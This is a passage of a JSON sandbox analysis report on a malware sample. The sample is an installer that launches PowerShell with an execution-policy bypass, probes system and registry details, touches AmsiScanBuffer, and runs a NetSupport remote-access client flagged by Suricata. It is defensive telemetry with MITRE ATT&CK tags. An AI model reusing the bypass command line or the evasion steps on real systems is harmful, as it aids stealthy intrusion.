00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"16115800\" - (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"16115104\" - (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"459152\" - (UID: 00000000-00005220)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"EnumWindows\" with parameter \"16119232\" - (UID: 00000000-00005220)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$35","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetActiveWindow\" (UID: 00000000-00005220)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006300)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005220)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$37","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007184)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006300)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"$38","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"Info: IsWow64Process ret %d\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_SystemEnclosure\" (Indicator: \"select * from \"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")\n Found string \"SELECT * FROM %s\" (Indicator: \"select * from \"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information set for devices (API string)","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1480","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"GetTimeZoneInformationForYear\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetNetworkParams\" (Indicator: \"GetNetworkParams\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver unknown\" (Indicator: \"ver \") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp\n Observed string: \"ver dead\" (Indicator: \"ver \") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"file/memory contains long string with (Indicator: \"tracert\"; File: \"is-7AU9A.tmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"client32.exe\" issued a query \"SELECT * FROM Win32_ComputerSystem\"\n \"client32.exe\" issued a query \"SELECT * FROM Win32_SystemEnclosure\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$42","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" queries volume information of \"C:\\\" at 00000000-00005220-00000C17-634937916\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00007184-00000C17-641369438\n \"client32.exe\" queries volume information of \"C:\\\" at 00000000-00001628-00000C17-650079578\n \"client32.exe\" queries volume information of \"C:\\\" at 00000000-00001628-00000C17-650117121\n \"client32.exe\" queries volume information of \"C:\\\" at 00000000-00001628-00000C17-653406433","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$43","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Checkin\" (SID: 2035892, Rev: 8, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET REMOTE_ACCESS NetSupport Remote Admin Response\" (SID: 2035895, Rev: 8, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"installPackage.zip\" copied on \"%APPDATA%\\installPackage.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to decompress files using PowerShell","description":"Found string \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Expand-Archive.*\" (Source: \"00000000-00007184-00000C2D-21018346098\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":3,"id":"string-825","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$44","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" /SL5=\"$120\" - (UID: 00000000-00006300), \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"%TEMP%\\is-\" - (UID: 00000000-00005220)\n 